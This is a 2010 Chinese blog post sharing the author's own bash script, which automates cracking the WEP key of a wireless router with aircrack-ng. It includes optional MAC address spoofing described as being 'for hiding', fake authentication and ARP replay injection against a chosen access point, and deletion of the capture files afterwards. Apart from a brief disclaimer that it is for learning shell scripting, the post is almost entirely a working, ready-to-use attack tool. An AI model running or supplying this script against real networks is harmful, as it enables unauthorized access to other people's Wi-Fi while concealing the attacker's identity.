(原创)shell脚本,调用aircrack-ng破解wep加密的无线路由密码...
时间:2010-08-10 来源:sillyD
一小段bash代码,调用系统中已安装的aircrack-ng破解WEP加密的无线路由密码,可选择是否改变MAC地址,用于隐藏。如需改变MAC地址,需安装macchanger。
脚本用于Linux系统中,用的是bash shell。
项目主页: https://sourceforge.net/projects/aircrackwep/
有什么意见建议欢迎留言或者到项目主页上留言,谢谢!
写这个脚本只是供学习shell编程用,请注意使用方式,发生任何问题,与作者无关。
CSDN的插入代码中没有shell的高亮,只好选择C#格式的了,见谅!
#!/bin/bash echo "###############################################" echo "# This script is used to crack WEP password #" echo "# of Wi-Fi Access Points. #" echo "# Depends on: aircrack-ng #" echo "# macchanger #" echo "# PS. If you don't need to change your MAC #" echo "# address, macchanger is not essential. #" echo "# Version: 1.0 #" echo "# Homepage: #" echo "# https://sourceforge.net/projects/aircrackwep#" echo "# By: Chen Zhidong #" echo "# From: NanJing University of Technology #" echo "# Email: [email protected] #" echo "###############################################" echo "" #Killing processes that could cause trouble first echo -e "Killing processes that could cause trouble...\n" sudo killall NetworkManager sudo killall NetworkManagerDispatcher sudo killall wpa_supplicant sudo killall avahi-daemon echo "" #making a dir to store crack files if [ -d ./Aircrack-Output ]; then echo > /dev/null else mkdir "Aircrack-Output" fi cd "Aircrack-Output" #choose your interface and start airmon-ng read -p "Enter the interface you want to use: " interface sudo airmon-ng start $interface clear #MAC setting true=`macchanger -s wlan0 | sed 's/Current\ MAC: //' | sed 's/(.*)//'` read -p "Your true MAC address of $interface is $true, do you want to change it?(y/N)" macset satisfy="n" wifi="n" until [ $wifi = y ];do case $macset in ( y|Y )until [ $satisfy = y ]; do #choose random or not clear read -p "Do you want a random MAC address?(Y/n)" random case $random in ( n|N )clear echo "Since you want to set MAC address by pointed, please provide a MAC address:" read hmac echo "Setting the MAC address to $hmac..." sudo ifconfig $interface down sudo macchanger -m $hmac $interface sudo ifconfig $interface up ;; *)echo "Setting random MAC address..." sudo ifconfig $interface down sudo macchanger -r $interface sudo ifconfig $interface up ;; esac #whether satisfy clear echo "$interface is in `sudo macchanger -s wlan0`" read -p "Do you like the address above?(y/N)" satisfy case $satisfy in ( y|Y )satisfy="y" hmac=`macchanger -s wlan0 | sed 's/Current\ MAC: //' | sed 's/(.*)//'` sudo ifconfig mon0 down sudo macchanger -m $hmac mon0 sudo ifconfig mon0 up ;; *)satisfy="n" ;; esac done ;; *)echo "You are using true MAC address $true in $interface." hmac=`macchanger -s wlan0 | sed 's/Current\ MAC: //' | sed 's/(.*)//'` ;; esac #confirm the MAC address setting clear echo -e "Wi-Fi Card Setting:\n\tInterface:\t\t$interface\n\tInterface's MAC:\t$hmac\n\nIs this correct?(Y/n)" read wifi case $wifi in ( n|N )wifi="n" ;; *)wifi="y" ;; esac done #Starting airodump-ng for you to choose an access point clear echo "Starting airodump-ng for you to choose an access point..." sudo xterm -hold -e "airodump-ng mon0" & #AP(Access Point) setting verifyap="n" until [ $verifyap = y ];do clear echo "Enter the BSSID of the access point:" read bssid echo "Enter the CHANNEL of the access point:" read channel #confirm the and AP setting clear echo -e "Access Point Setting:\n\tBSSID:\t\t$bssid\n\tChannel:\t$channel\n\nIs this correct?(Y/n)" read verifyap case $verifyap in ( n|N )verifyap="n" ;; *)verifyap="y" ;; esac done #start airodump-ng clear echo "Starting airodump-ng..." sudo xterm -hold -e "airodump-ng -c $channel --bssid $bssid -w output mon0" & #fake authenticate echo "Trying to fake authenticate..." sudo airmon-ng stop mon0 sudo airmon-ng start $interface $channel status="n" until [ $status = y ];do clear sudo aireplay-ng -1 0 -a $bssid -h $hmac mon0 read -p "Sometimes fake authenticate may fail. Did you successfully faked authenticate?(Y/n)" status case $status in ( n|N )status="n" ;; *)status="y" ;; esac done #start requesting arp request clear echo "Trying to start requesting arp request..." sudo xterm -hold -e "aireplay-ng -2 -F -p 0841 -c ff:ff:ff:ff:ff:ff -b $bssid -h $hmac mon0" & #start cracking when data got to more than 5000 read -p "Press Enter to run aircrack-ng..." aircrack clear sudo aircrack-ng output*.cap #final step: kill processes and set default echo "Now we've got some cleanning work..." sudo killall xterm sudo airmon-ng stop mon0 sudo ifconfig $interface down sudo macchanger -m $true $interface sudo ifconfig $interface up read -p "Do you want to delete crack files?(y/N)" del if [ $del = y -o $del = Y ]; then cd .. sudo rm -r "Aircrack-Output" fi clear echo -e "Done! \nFor more information, visit homepage of this project in SourceForge:\n\thttps://sourceforge.net/projects/aircrackwep/" exit 0 #End